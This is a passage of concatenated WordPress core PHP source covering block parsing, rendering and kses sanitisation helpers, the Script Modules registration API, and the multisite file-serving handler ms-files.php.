 * @param string[]|string $value             The attribute value to filter.
 * @param array[]|string  $allowed_html      An array of allowed HTML elements and attributes,
 *                                           or a context name such as 'post'. See wp_kses_allowed_html()
 *                                           for the list of accepted context names.
 * @param string[]        $allowed_protocols Optional. Array of allowed URL protocols.
 *                                           Defaults to the result of wp_allowed_protocols().
 * @param array           $block_context     Optional. The block the attribute belongs to, in parsed block array format.
 * @return string[]|string The filtered and sanitized result.
 */
function filter_block_kses_value( $value, $allowed_html, $allowed_protocols = array(), $block_context = null ) {
	if ( is_array( $value ) ) {
		foreach ( $value as $key => $inner_value ) {
			$filtered_key   = filter_block_kses_value( $key, $allowed_html, $allowed_protocols, $block_context );
			$filtered_value = filter_block_kses_value( $inner_value, $allowed_html, $allowed_protocols, $block_context );

			if ( isset( $block_context['blockName'] ) && 'core/template-part' === $block_context['blockName'] ) {
				$filtered_value = filter_block_core_template_part_attributes( $filtered_value, $filtered_key, $allowed_html );
			}

			if ( $filtered_key !== $key ) {
				unset( $value[ $key ] );
			}

			$value[ $filtered_key ] = $filtered_value;
		}
	} elseif ( is_string( $value ) ) {
		return wp_kses( $value, $allowed_html, $allowed_protocols );
	}

	return $value;
}

/**
 * Sanitizes the value of the Template Part block's `tagName` attribute.
 *
 * @since 6.5.5
 *
 * @param string          $attribute_value   The attribute value to filter.
 * @param string          $attribute_name    The attribute name.
 * @param array[]|string  $allowed_html      An array of allowed HTML elements and attributes,
 *                                           or a context name such as 'post'. See wp_kses_allowed_html()
 *                                           for the list of accepted context names.
 * @return string The sanitized attribute value.
 */
function filter_block_core_template_part_attributes( $attribute_value, $attribute_name, $allowed_html ) {
	if ( empty( $attribute_value ) || 'tagName' !== $attribute_name ) {
		return $attribute_value;
	}
	if ( ! is_array( $allowed_html ) ) {
		$allowed_html = wp_kses_allowed_html( $allowed_html );
	}
	return isset( $allowed_html[ $attribute_value ] ) ? $attribute_value : '';
}

/**
 * Parses blocks out of a content string, and renders those appropriate for the excerpt.
 *
 * As the excerpt should be a small string of text relevant to the full post content,
 * this function renders the blocks that are most likely to contain such text.
 *
 * @since 5.0.0
 *
 * @param string $content The content to parse.
 * @return string The parsed and filtered content.
 */
function excerpt_remove_blocks( $content ) {
	if ( ! has_blocks( $content ) ) {
		return $content;
	}

	$allowed_inner_blocks = array(
		// Classic blocks have their blockName set to null.
		null,
		'core/freeform',
		'core/heading',
		'core/html',
		'core/list',
		'core/media-text',
		'core/paragraph',
		'core/preformatted',
		'core/pullquote',
		'core/quote',
		'core/table',
		'core/verse',
	);

	$allowed_wrapper_blocks = array(
		'core/columns',
		'core/column',
		'core/group',
	);

	/**
	 * Filters the list of blocks that can be used as wrapper blocks, allowing
	 * excerpts to be generated from the `innerBlocks` of these wrappers.
	 *
	 * @since 5.8.0
	 *
	 * @param string[] $allowed_wrapper_blocks The list of names of allowed wrapper blocks.
	 */
	$allowed_wrapper_blocks = apply_filters( 'excerpt_allowed_wrapper_blocks', $allowed_wrapper_blocks );

	$allowed_blocks = array_merge( $allowed_inner_blocks, $allowed_wrapper_blocks );

	/**
	 * Filters the list of blocks that can contribute to the excerpt.
	 *
	 * If a dynamic block is added to this list, it must not generate another
	 * excerpt, as this will cause an infinite loop to occur.
	 *
	 * @since 5.0.0
	 *
	 * @param string[] $allowed_blocks The list of names of allowed blocks.
	 */
	$allowed_blocks = apply_filters( 'excerpt_allowed_blocks', $allowed_blocks );
	$blocks         = parse_blocks( $content );
	$output         = '';

	foreach ( $blocks as $block ) {
		if ( in_array( $block['blockName'], $allowed_blocks, true ) ) {
			if ( ! empty( $block['innerBlocks'] ) ) {
				if ( in_array( $block['blockName'], $allowed_wrapper_blocks, true ) ) {
					$output .= _excerpt_render_inner_blocks( $block, $allowed_blocks );
					continue;
				}

				// Skip the block if it has disallowed or nested inner blocks.
				foreach ( $block['innerBlocks'] as $inner_block ) {
					if (
						! in_array( $inner_block['blockName'], $allowed_inner_blocks, true ) ||
						! empty( $inner_block['innerBlocks'] )
					) {
						continue 2;
					}
				}
			}

			$output .= render_block( $block );
		}
	}

	return $output;
}

/**
 * Parses footnotes markup out of a content string,
 * and renders those appropriate for the excerpt.
 *
 * @since 6.3.0
 *
 * @param string $content The content to parse.
 * @return string The parsed and filtered content.
 */
function excerpt_remove_footnotes( $content ) {
	if ( ! str_contains( $content, 'data-fn=' ) ) {
		return $content;
	}

	return preg_replace(
		'_<sup data-fn="[^"]+" class="[^"]+">\s*<a href="[^"]+" id="[^"]+">\d+</a>\s*</sup>_',
		'',
		$content
	);
}

/**
 * Renders inner blocks from the allowed wrapper blocks
 * for generating an excerpt.
 *
 * @since 5.8.0
 * @access private
 *
 * @param array $parsed_block   The parsed block.
 * @param array $allowed_blocks The list of allowed inner blocks.
 * @return string The rendered inner blocks.
 */
function _excerpt_render_inner_blocks( $parsed_block, $allowed_blocks ) {
	$output = '';

	foreach ( $parsed_block['innerBlocks'] as $inner_block ) {
		if ( ! in_array( $inner_block['blockName'], $allowed_blocks, true ) ) {
			continue;
		}

		if ( empty( $inner_block['innerBlocks'] ) ) {
			$output .= render_block( $inner_block );
		} else {
			$output .= _excerpt_render_inner_blocks( $inner_block, $allowed_blocks );
		}
	}

	return $output;
}

/**
 * Renders a single block into a HTML string.
 *
 * @since 5.0.0
 *
 * @global WP_Post $post The post to edit.
 *
 * @param array $parsed_block A single parsed block object.
 * @return string String of rendered HTML.
 */
function render_block( $parsed_block ) {
	global $post;
	$parent_block = null;

	/**
	 * Allows render_block() to be short-circuited, by returning a non-null value.
	 *
	 * @since 5.1.0
	 * @since 5.9.0 The `$parent_block` parameter was added.
	 *
	 * @param string|null   $pre_render   The pre-rendered content. Default null.
	 * @param array         $parsed_block The block being rendered.
	 * @param WP_Block|null $parent_block If this is a nested block, a reference to the parent block.
	 */
	$pre_render = apply_filters( 'pre_render_block', null, $parsed_block, $parent_block );
	if ( ! is_null( $pre_render ) ) {
		return $pre_render;
	}

	$source_block = $parsed_block;

	/**
	 * Filters the block being rendered in render_block(), before it's processed.
	 *
	 * @since 5.1.0
	 * @since 5.9.0 The `$parent_block` parameter was added.
	 *
	 * @param array         $parsed_block The block being rendered.
	 * @param array         $source_block An un-modified copy of $parsed_block, as it appeared in the source content.
	 * @param WP_Block|null $parent_block If this is a nested block, a reference to the parent block.
	 */
	$parsed_block = apply_filters( 'render_block_data', $parsed_block, $source_block, $parent_block );

	$context = array();

	if ( $post instanceof WP_Post ) {
		$context['postId'] = $post->ID;

		/*
		 * The `postType` context is largely unnecessary server-side, since the ID
		 * is usually sufficient on its own. That being said, since a block's
		 * manifest is expected to be shared between the server and the client,
		 * it should be included to consistently fulfill the expectation.
		 */
		$context['postType'] = $post->post_type;
	}

	/**
	 * Filters the default context provided to a rendered block.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 The `$parent_block` parameter was added.
	 *
	 * @param array         $context      Default context.
	 * @param array         $parsed_block Block being rendered, filtered by `render_block_data`.
	 * @param WP_Block|null $parent_block If this is a nested block, a reference to the parent block.
	 */
	$context = apply_filters( 'render_block_context', $context, $parsed_block, $parent_block );

	$block = new WP_Block( $parsed_block, $context );

	return $block->render();
}

/**
 * Parses blocks out of a content string.
 *
 * @since 5.0.0
 *
 * @param string $content Post content.
 * @return array[] Array of parsed block objects.
 */
function parse_blocks( $content ) {
	/**
	 * Filter to allow plugins to replace the server-side block parser.
	 *
	 * @since 5.0.0
	 *
	 * @param string $parser_class Name of block parser class.
	 */
	$parser_class = apply_filters( 'block_parser_class', 'WP_Block_Parser' );

	$parser = new $parser_class();
	return $parser->parse( $content );
}

/**
 * Parses dynamic blocks out of `post_content` and re-renders them.
 *
 * @since 5.0.0
 *
 * @param string $content Post content.
 * @return string Updated post content.
 */
function do_blocks( $content ) {
	$blocks = parse_blocks( $content );
	$output = '';

	foreach ( $blocks as $block ) {
		$output .= render_block( $block );
	}

	// If there are blocks in this content, we shouldn't run wpautop() on it later.
	$priority = has_filter( 'the_content', 'wpautop' );
	if ( false !== $priority && doing_filter( 'the_content' ) && has_blocks( $content ) ) {
		remove_filter( 'the_content', 'wpautop', $priority );
		add_filter( 'the_content', '_restore_wpautop_hook', $priority + 1 );
	}

	return $output;
}

/**
 * If do_blocks() needs to remove wpautop() from the `the_content` filter, this re-adds it afterwards,
 * for subsequent `the_content` usage.
 *
 * @since 5.0.0
 * @access private
 *
 * @param string $content The post content running through this filter.
 * @return string The unmodified content.
 */
function _restore_wpautop_hook( $content ) {
	$current_priority = has_filter( 'the_content', '_restore_wpautop_hook' );

	add_filter( 'the_content', 'wpautop', $current_priority - 1 );
	remove_filter( 'the_content', '_restore_wpautop_hook', $current_priority );

	return $content;
}

/**
 * Returns the current version of the block format that the content string is using.
 *
 * If the string doesn't contain blocks, it returns 0.
 *
 * @since 5.0.0
 *
 * @param string $content Content to test.
 * @return int The block format version is 1 if the content contains one or more blocks, 0 otherwise.
 */
function block_version( $content ) {
	return has_blocks( $content ) ? 1 : 0;
}

/**
 * Registers a new block style.
 *
 * @since 5.3.0
 *
 * @link https://developer.wordpress.org/block-editor/reference-guides/block-api/block-styles/
 *
 * @param string $block_name       Block type name including namespace.
 * @param array  $style_properties Array containing the properties of the style name, label,
 *                                 style_handle (name of the stylesheet to be enqueued),
 *                                 inline_style (string containing the CSS to be added).
 *                                 See WP_Block_Styles_Registry::register().
 * @return bool True if the block style was registered with success and false otherwise.
 */
function register_block_style( $block_name, $style_properties ) {
	return WP_Block_Styles_Registry::get_instance()->register( $block_name, $style_properties );
}

/**
 * Unregisters a block style.
 *
 * @since 5.3.0
 *
 * @param string $block_name       Block type name including namespace.
 * @param string $block_style_name Block style name.
 * @return bool True if the block style was unregistered with success and false otherwise.
 */
function unregister_block_style( $block_name, $block_style_name ) {
	return WP_Block_Styles_Registry::get_instance()->unregister( $block_name, $block_style_name );
}

/**
 * Checks whether the current block type supports the feature requested.
 *
 * @since 5.8.0
 * @since 6.4.0 The `$feature` parameter now supports a string.
 *
 * @param WP_Block_Type $block_type    Block type to check for support.
 * @param string|array  $feature       Feature slug, or path to a specific feature to check support for.
 * @param mixed         $default_value Optional. Fallback value for feature support. Default false.
 * @return bool Whether the feature is supported.
 */
function block_has_support( $block_type, $feature, $default_value = false ) {
	$block_support = $default_value;
	if ( $block_type instanceof WP_Block_Type ) {
		if ( is_array( $feature ) && count( $feature ) === 1 ) {
			$feature = $feature[0];
		}

		if ( is_array( $feature ) ) {
			$block_support = _wp_array_get( $block_type->supports, $feature, $default_value );
		} elseif ( isset( $block_type->supports[ $feature ] ) ) {
			$block_support = $block_type->supports[ $feature ];
		}
	}

	return true === $block_support || is_array( $block_support );
}

/**
 * Converts typography keys declared under `supports.*` to `supports.typography.*`.
 *
 * Displays a `_doing_it_wrong()` notice when a block using the older format is detected.
 *
 * @since 5.8.0
 *
 * @param array $metadata Metadata for registering a block type.
 * @return array Filtered metadata for registering a block type.
 */
function wp_migrate_old_typography_shape( $metadata ) {
	if ( ! isset( $metadata['supports'] ) ) {
		return $metadata;
	}

	$typography_keys = array(
		'__experimentalFontFamily',
		'__experimentalFontStyle',
		'__experimentalFontWeight',
		'__experimentalLetterSpacing',
		'__experimentalTextDecoration',
		'__experimentalTextTransform',
		'fontSize',
		'lineHeight',
	);

	foreach ( $typography_keys as $typography_key ) {
		$support_for_key = isset( $metadata['supports'][ $typography_key ] ) ? $metadata['supports'][ $typography_key ] : null;

		if ( null !== $support_for_key ) {
			_doing_it_wrong(
				'register_block_type_from_metadata()',
				sprintf(
					/* translators: 1: Block type, 2: Typography supports key, e.g: fontSize, lineHeight, etc. 3: block.json, 4: Old metadata key, 5: New metadata key. */
					__( 'Block "%1$s" is declaring %2$s support in %3$s file under %4$s. %2$s support is now declared under %5$s.' ),
					$metadata['name'],
					"<code>$typography_key</code>",
					'<code>block.json</code>',
					"<code>supports.$typography_key</code>",
					"<code>supports.typography.$typography_key</code>"
				),
				'5.8.0'
			);

			_wp_array_set( $metadata['supports'], array( 'typography', $typography_key ), $support_for_key );
			unset( $metadata['supports'][ $typography_key ] );
		}
	}

	return $metadata;
}

/**
 * Helper function that constructs a WP_Query args array from
 * a `Query` block properties.
 *
 * It's used in Query Loop, Query Pagination Numbers and Query Pagination Next blocks.
 *
 * @since 5.8.0
 * @since 6.1.0 Added `query_loop_block_query_vars` filter and `parents` support in query.
 *
 * @param WP_Block $block Block instance.
 * @param int      $page  Current query's page.
 *
 * @return array Returns the constructed WP_Query arguments.
 */
function build_query_vars_from_query_block( $block, $page ) {
	$query = array(
		'post_type'    => 'post',
		'order'        => 'DESC',
		'orderby'      => 'date',
		'post__not_in' => array(),
	);

	if ( isset( $block->context['query'] ) ) {
		if ( ! empty( $block->context['query']['postType'] ) ) {
			$post_type_param = $block->context['query']['postType'];
			if ( is_post_type_viewable( $post_type_param ) ) {
				$query['post_type'] = $post_type_param;
			}
		}
		if ( isset( $block->context['query']['sticky'] ) && ! empty( $block->context['query']['sticky'] ) ) {
			$sticky = get_option( 'sticky_posts' );
			if ( 'only' === $block->context['query']['sticky'] ) {
				/*
				 * Passing an empty array to post__in will return have_posts() as true (and all posts will be returned).
				 * Logic should be used before hand to determine if WP_Query should be used in the event that the array
				 * being passed to post__in is empty.
				 *
				 * @see https://core.trac.wordpress.org/ticket/28099
				 */
				$query['post__in']            = ! empty( $sticky ) ? $sticky : array( 0 );
				$query['ignore_sticky_posts'] = 1;
			} else {
				$query['post__not_in'] = array_merge( $query['post__not_in'], $sticky );
			}
		}
		if ( ! empty( $block->context['query']['exclude'] ) ) {
			$excluded_post_ids     = array_map( 'intval', $block->context['query']['exclude'] );
			$excluded_post_ids     = array_filter( $excluded_post_ids );
			$query['post__not_in'] = array_merge( $query['post__not_in'], $excluded_post_ids );
		}
		if (
			isset( $block->context['query']['perPage'] ) &&
			is_numeric( $block->context['query']['perPage'] )
		) {
			$per_page = absint( $block->context['query']['perPage'] );
			$offset   = 0;

			if (
				isset( $block->context['query']['offset'] ) &&
				is_numeric( $block->context['query']['offset'] )
			) {
				$offset = absint( $block->context['query']['offset'] );
			}

			$query['offset']         = ( $per_page * ( $page - 1 ) ) + $offset;
			$query['posts_per_page'] = $per_page;
		}
		// Migrate `categoryIds` and `tagIds` to `tax_query` for backwards compatibility.
		if ( ! empty( $block->context['query']['categoryIds'] ) || ! empty( $block->context['query']['tagIds'] ) ) {
			$tax_query = array();
			if ( ! empty( $block->context['query']['categoryIds'] ) ) {
				$tax_query[] = array(
					'taxonomy'         => 'category',
					'terms'            => array_filter( array_map( 'intval', $block->context['query']['categoryIds'] ) ),
					'include_children' => false,
				);
			}
			if ( ! empty( $block->context['query']['tagIds'] ) ) {
				$tax_query[] = array(
					'taxonomy'         => 'post_tag',
					'terms'            => array_filter( array_map( 'intval', $block->context['query']['tagIds'] ) ),
					'include_children' => false,
				);
			}
			$query['tax_query'] = $tax_query;
		}
		if ( ! empty( $block->context['query']['taxQuery'] ) ) {
			$query['tax_query'] = array();
			foreach ( $block->context['query']['taxQuery'] as $taxonomy => $terms ) {
				if ( is_taxonomy_viewable( $taxonomy ) && ! empty( $terms ) ) {
					$query['tax_query'][] = array(
						'taxonomy'         => $taxonomy,
						'terms'            => array_filter( array_map( 'intval', $terms ) ),
						'include_children' => false,
					);
				}
			}
		}
		if (
			isset( $block->context['query']['order'] ) &&
				in_array( strtoupper( $block->context['query']['order'] ), array( 'ASC', 'DESC' ), true )
		) {
			$query['order'] = strtoupper( $block->context['query']['order'] );
		}
		if ( isset( $block->context['query']['orderBy'] ) ) {
			$query['orderby'] = $block->context['query']['orderBy'];
		}
		if (
			isset( $block->context['query']['author'] )
		) {
			if ( is_array( $block->context['query']['author'] ) ) {
				$query['author__in'] = array_filter( array_map( 'intval', $block->context['query']['author'] ) );
			} elseif ( is_string( $block->context['query']['author'] ) ) {
				$query['author__in'] = array_filter( array_map( 'intval', explode( ',', $block->context['query']['author'] ) ) );
			} elseif ( is_int( $block->context['query']['author'] ) && $block->context['query']['author'] > 0 ) {
				$query['author'] = $block->context['query']['author'];
			}
		}
		if ( ! empty( $block->context['query']['search'] ) ) {
			$query['s'] = $block->context['query']['search'];
		}
		if ( ! empty( $block->context['query']['parents'] ) && is_post_type_hierarchical( $query['post_type'] ) ) {
			$query['post_parent__in'] = array_filter( array_map( 'intval', $block->context['query']['parents'] ) );
		}
	}

	/**
	 * Filters the arguments which will be passed to `WP_Query` for the Query Loop Block.
	 *
	 * Anything to this filter should be compatible with the `WP_Query` API to form
	 * the query context which will be passed down to the Query Loop Block's children.
	 * This can help, for example, to include additional settings or meta queries not
	 * directly supported by the core Query Loop Block, and extend its capabilities.
	 *
	 * Please note that this will only influence the query that will be rendered on the
	 * front-end. The editor preview is not affected by this filter. Also, worth noting
	 * that the editor preview uses the REST API, so, ideally, one should aim to provide
	 * attributes which are also compatible with the REST API, in order to be able to
	 * implement identical queries on both sides.
	 *
	 * @since 6.1.0
	 *
	 * @param array    $query Array containing parameters for `WP_Query` as parsed by the block context.
	 * @param WP_Block $block Block instance.
	 * @param int      $page  Current query's page.
	 */
	return apply_filters( 'query_loop_block_query_vars', $query, $block, $page );
}

/**
 * Helper function that returns the proper pagination arrow HTML for
 * `QueryPaginationNext` and `QueryPaginationPrevious` blocks based
 * on the provided `paginationArrow` from `QueryPagination` context.
 *
 * It's used in QueryPaginationNext and QueryPaginationPrevious blocks.
 *
 * @since 5.9.0
 *
 * @param WP_Block $block   Block instance.
 * @param bool     $is_next Flag for handling `next/previous` blocks.
 * @return string|null The pagination arrow HTML or null if there is none.
 */
function get_query_pagination_arrow( $block, $is_next ) {
	$arrow_map = array(
		'none'    => '',
		'arrow'   => array(
			'next'     => '→',
			'previous' => '←',
		),
		'chevron' => array(
			'next'     => '»',
			'previous' => '«',
		),
	);
	if ( ! empty( $block->context['paginationArrow'] ) && array_key_exists( $block->context['paginationArrow'], $arrow_map ) && ! empty( $arrow_map[ $block->context['paginationArrow'] ] ) ) {
		$pagination_type = $is_next ? 'next' : 'previous';
		$arrow_attribute = $block->context['paginationArrow'];
		$arrow           = $arrow_map[ $block->context['paginationArrow'] ][ $pagination_type ];
		$arrow_classes   = "wp-block-query-pagination-$pagination_type-arrow is-arrow-$arrow_attribute";
		return "<span class='$arrow_classes' aria-hidden='true'>$arrow</span>";
	}
	return null;
}

/**
 * Helper function that constructs a comment query vars array from the passed
 * block properties.
 *
 * It's used with the Comment Query Loop inner blocks.
 *
 * @since 6.0.0
 *
 * @param WP_Block $block Block instance.
 * @return array Returns the comment query parameters to use with the
 *               WP_Comment_Query constructor.
 */
function build_comment_query_vars_from_block( $block ) {

	$comment_args = array(
		'orderby'       => 'comment_date_gmt',
		'order'         => 'ASC',
		'status'        => 'approve',
		'no_found_rows' => false,
	);

	if ( is_user_logged_in() ) {
		$comment_args['include_unapproved'] = array( get_current_user_id() );
	} else {
		$unapproved_email = wp_get_unapproved_comment_author_email();

		if ( $unapproved_email ) {
			$comment_args['include_unapproved'] = array( $unapproved_email );
		}
	}

	if ( ! empty( $block->context['postId'] ) ) {
		$comment_args['post_id'] = (int) $block->context['postId'];
	}

	if ( get_option( 'thread_comments' ) ) {
		$comment_args['hierarchical'] = 'threaded';
	} else {
		$comment_args['hierarchical'] = false;
	}

	if ( get_option( 'page_comments' ) === '1' || get_option( 'page_comments' ) === true ) {
		$per_page     = get_option( 'comments_per_page' );
		$default_page = get_option( 'default_comments_page' );
		if ( $per_page > 0 ) {
			$comment_args['number'] = $per_page;

			$page = (int) get_query_var( 'cpage' );
			if ( $page ) {
				$comment_args['paged'] = $page;
			} elseif ( 'oldest' === $default_page ) {
				$comment_args['paged'] = 1;
			} elseif ( 'newest' === $default_page ) {
				$max_num_pages = (int) ( new WP_Comment_Query( $comment_args ) )->max_num_pages;
				if ( 0 !== $max_num_pages ) {
					$comment_args['paged'] = $max_num_pages;
				}
			}
			// Set the `cpage` query var to ensure the previous and next pagination links are correct
			// when inheriting the Discussion Settings.
			if ( 0 === $page && isset( $comment_args['paged'] ) && $comment_args['paged'] > 0 ) {
				set_query_var( 'cpage', $comment_args['paged'] );
			}
		}
	}

	return $comment_args;
}

/**
 * Helper function that returns the proper pagination arrow HTML for
 * `CommentsPaginationNext` and `CommentsPaginationPrevious` blocks based on the
 * provided `paginationArrow` from `CommentsPagination` context.
 *
 * It's used in CommentsPaginationNext and CommentsPaginationPrevious blocks.
 *
 * @since 6.0.0
 *
 * @param WP_Block $block           Block instance.
 * @param string   $pagination_type Optional. Type of the arrow we will be rendering.
 *                                  Accepts 'next' or 'previous'. Default 'next'.
 * @return string|null The pagination arrow HTML or null if there is none.
 */
function get_comments_pagination_arrow( $block, $pagination_type = 'next' ) {
	$arrow_map = array(
		'none'    => '',
		'arrow'   => array(
			'next'     => '→',
			'previous' => '←',
		),
		'chevron' => array(
			'next'     => '»',
			'previous' => '«',
		),
	);
	if ( ! empty( $block->context['comments/paginationArrow'] ) && ! empty( $arrow_map[ $block->context['comments/paginationArrow'] ][ $pagination_type ] ) ) {
		$arrow_attribute = $block->context['comments/paginationArrow'];
		$arrow           = $arrow_map[ $block->context['comments/paginationArrow'] ][ $pagination_type ];
		$arrow_classes   = "wp-block-comments-pagination-$pagination_type-arrow is-arrow-$arrow_attribute";
		return "<span class='$arrow_classes' aria-hidden='true'>$arrow</span>";
	}
	return null;
}

/**
 * Strips all HTML from the content of footnotes, and sanitizes the ID.
 *
 * This function expects slashed data on the footnotes content.
 *
 * @access private
 * @since 6.3.2
 *
 * @param string $footnotes JSON-encoded string of an array containing the content and ID of each footnote.
 * @return string Filtered content without any HTML on the footnote content and with the sanitized ID.
 */
function _wp_filter_post_meta_footnotes( $footnotes ) {
	$footnotes_decoded = json_decode( $footnotes, true );
	if ( ! is_array( $footnotes_decoded ) ) {
		return '';
	}
	$footnotes_sanitized = array();
	foreach ( $footnotes_decoded as $footnote ) {
		if ( ! empty( $footnote['content'] ) && ! empty( $footnote['id'] ) ) {
			$footnotes_sanitized[] = array(
				'id'      => sanitize_key( $footnote['id'] ),
				'content' => wp_unslash( wp_filter_post_kses( wp_slash( $footnote['content'] ) ) ),
			);
		}
	}
	return wp_json_encode( $footnotes_sanitized );
}

/**
 * Adds the filters for footnotes meta field.
 *
 * @access private
 * @since 6.3.2
 */
function _wp_footnotes_kses_init_filters() {
	add_filter( 'sanitize_post_meta_footnotes', '_wp_filter_post_meta_footnotes' );
}

/**
 * Removes the filters for footnotes meta field.
 *
 * @access private
 * @since 6.3.2
 */
function _wp_footnotes_remove_filters() {
	remove_filter( 'sanitize_post_meta_footnotes', '_wp_filter_post_meta_footnotes' );
}

/**
 * Registers the filter of footnotes meta field if the user does not have `unfiltered_html` capability.
 *
 * @access private
 * @since 6.3.2
 */
function _wp_footnotes_kses_init() {
	_wp_footnotes_remove_filters();
	if ( ! current_user_can( 'unfiltered_html' ) ) {
		_wp_footnotes_kses_init_filters();
	}
}

/**
 * Initializes the filters for footnotes meta field when imported data should be filtered.
 *
 * This filter is the last one being executed on {@see 'force_filtered_html_on_import'}.
 * If the input of the filter is true, it means we are in an import situation and should
 * enable kses, independently of the user capabilities. So in that case we call
 * _wp_footnotes_kses_init_filters().
 *
 * @access private
 * @since 6.3.2
 *
 * @param string $arg Input argument of the filter.
 * @return string Input argument of the filter.
 */
function _wp_footnotes_force_filtered_html_on_import_filter( $arg ) {
	// If `force_filtered_html_on_import` is true, we need to init the global styles kses filters.
	if ( $arg ) {
		_wp_footnotes_kses_init_filters();
	}
	return $arg;
}
<?php
/**
 * Script Modules API: Script Module functions
 *
 * @since 6.5.0
 *
 * @package WordPress
 * @subpackage Script Modules
 */

/**
 * Retrieves the main WP_Script_Modules instance.
 *
 * This function provides access to the WP_Script_Modules instance, creating one
 * if it doesn't exist yet.
 *
 * @global WP_Script_Modules $wp_script_modules
 *
 * @since 6.5.0
 *
 * @return WP_Script_Modules The main WP_Script_Modules instance.
 */
function wp_script_modules(): WP_Script_Modules {
	global $wp_script_modules;

	if ( ! ( $wp_script_modules instanceof WP_Script_Modules ) ) {
		$wp_script_modules = new WP_Script_Modules();
	}

	return $wp_script_modules;
}

/**
 * Registers the script module if no script module with that script module
 * identifier has already been registered.
 *
 * @since 6.5.0
 *
 * @param string            $id       The identifier of the script module. Should be unique. It will be used in the
 *                                    final import map.
 * @param string            $src      Optional. Full URL of the script module, or path of the script module relative
 *                                    to the WordPress root directory. If it is provided and the script module has
 *                                    not been registered yet, it will be registered.
 * @param array             $deps     {
 *                                        Optional. List of dependencies.
 *
 *                                        @type string|array ...$0 {
 *                                            An array of script module identifiers of the dependencies of this script
 *                                            module. The dependencies can be strings or arrays. If they are arrays,
 *                                            they need an `id` key with the script module identifier, and can contain
 *                                            an `import` key with either `static` or `dynamic`. By default,
 *                                            dependencies that don't contain an `import` key are considered static.
 *
 *                                            @type string $id     The script module identifier.
 *                                            @type string $import Optional. Import type. May be either `static` or
 *                                                                 `dynamic`. Defaults to `static`.
 *                                        }
 *                                    }
 * @param string|false|null $version  Optional. String specifying the script module version number. Defaults to false.
 *                                    It is added to the URL as a query string for cache busting purposes. If $version
 *                                    is set to false, the version number is the currently installed WordPress version.
 *                                    If $version is set to null, no version is added.
 */
function wp_register_script_module( string $id, string $src, array $deps = array(), $version = false ) {
	wp_script_modules()->register( $id, $src, $deps, $version );
}

/**
 * Marks the script module to be enqueued in the page.
 *
 * If a src is provided and the script module has not been registered yet, it
 * will be registered.
 *
 * @since 6.5.0
 *
 * @param string            $id       The identifier of the script module. Should be unique. It will be used in the
 *                                    final import map.
 * @param string            $src      Optional. Full URL of the script module, or path of the script module relative
 *                                    to the WordPress root directory. If it is provided and the script module has
 *                                    not been registered yet, it will be registered.
 * @param array             $deps     {
 *                                        Optional. List of dependencies.
 *
 *                                        @type string|array ...$0 {
 *                                            An array of script module identifiers of the dependencies of this script
 *                                            module. The dependencies can be strings or arrays. If they are arrays,
 *                                            they need an `id` key with the script module identifier, and can contain
 *                                            an `import` key with either `static` or `dynamic`. By default,
 *                                            dependencies that don't contain an `import` key are considered static.
 *
 *                                            @type string $id     The script module identifier.
 *                                            @type string $import Optional. Import type. May be either `static` or
 *                                                                 `dynamic`. Defaults to `static`.
 *                                        }
 *                                    }
 * @param string|false|null $version  Optional. String specifying the script module version number. Defaults to false.
 *                                    It is added to the URL as a query string for cache busting purposes. If $version
 *                                    is set to false, the version number is the currently installed WordPress version.
 *                                    If $version is set to null, no version is added.
 */
function wp_enqueue_script_module( string $id, string $src = '', array $deps = array(), $version = false ) {
	wp_script_modules()->enqueue( $id, $src, $deps, $version );
}

/**
 * Unmarks the script module so it is no longer enqueued in the page.
 *
 * @since 6.5.0
 *
 * @param string $id The identifier of the script module.
 */
function wp_dequeue_script_module( string $id ) {
	wp_script_modules()->dequeue( $id );
}

/**
 * Deregisters the script module.
 *
 * @since 6.5.0
 *
 * @param string $id The identifier of the script module.
 */
function wp_deregister_script_module( string $id ) {
	wp_script_modules()->deregister( $id );
}
<?php
/**
 * Multisite upload handler.
 *
 * @since 3.0.0
 *
 * @package WordPress
 * @subpackage Multisite
 */

define( 'MS_FILES_REQUEST', true );
define( 'SHORTINIT', true );
require_once dirname( __DIR__ ) . '/wp-load.php';

if ( ! is_multisite() ) {
	die( 'Multisite support not enabled' );
}

ms_file_constants();

if ( '1' === $current_blog->archived || '1' === $current_blog->spam || '1' === $current_blog->deleted ) {
	status_header( 404 );
	die( '404 &#8212; File not found.' );
}

$file = rtrim( BLOGUPLOADDIR, '/' ) . '/' . str_replace( '..', '', $_GET['file'] );
if ( ! is_file( $file ) ) {
	status_header( 404 );
	die( '404 &#8212; File not found.' );
}

$mime = wp_check_filetype( $file );
if ( false === $mime['type'] && function_exists( 'mime_content_type' ) ) {
	$mime['type'] = mime_content_type( $file );
}

if ( $mime['type'] ) {
	$mimetype = $mime['type'];
} else {
	$mimetype = 'image/' . substr( $file, strrpos( $file, '.' ) + 1 );
}

header( 'Content-Type: ' . $mimetype ); // Always send this.
if ( ! str_contains( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS' ) ) {
	header( 'Content-Length: ' . filesize( $file ) );
}

// Optional support for X-Sendfile and X-Accel-Redirect.
if ( WPMU_ACCEL_REDIRECT ) {
	header( 'X-Accel-Redirect: ' . str_replace( WP_CONTENT_DIR, '', $file ) );
	exit;
} elseif ( WPMU_SENDFILE ) {
	header( 'X-Sendfile: ' . $file );
	exit;
}

$wp_last_modified = gmdate( 'D, d M Y H:i:s', filemtime( $file ) );
$wp_etag          = '"' . md5( $wp_last_modified ) . '"';

header( "Last-Modified: $wp_last_modified GMT" );
header( 'ETag: ' . $wp_etag );
header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + 100000000 ) . ' GMT' );

// Support for conditional GET - use stripslashes() to avoid formatting.php dependency.
if ( isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) ) {
	$client_etag = stripslashes( $_SERVER['HTTP_IF_NONE_MATCH'] );
} else {
	$client_etag = '';
}

if ( isset( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) ) {
	$client_last_modified = trim( $_SERVER['HTTP_IF_MODIFIED_SINCE'] );
} else {
	$client_last_modified = '';
}

// If string is empty, return 0. If not, attempt to parse into a timestamp.
$client_modified_timestamp = $client_last_modified ? strtotime( $client_last_modified ) : 0;

// Make a timestamp for our most recent modification.
$wp_modified_timestamp = strtotime( $wp_last_modified );

if ( ( $client_last_modified && $client_etag )
	? ( ( $client_modified_timestamp >= $wp_modified_timestamp ) && ( $client_etag === $wp_etag ) )
	: ( ( $client_modified_timestamp >= $wp_modified_timestamp ) || ( $client_etag === $wp_etag ) )
) {
	status_header( 304 );
	exit;
}

// If we made it this far, just serve the file.
readfile( $file );
flush();
<?php
/**
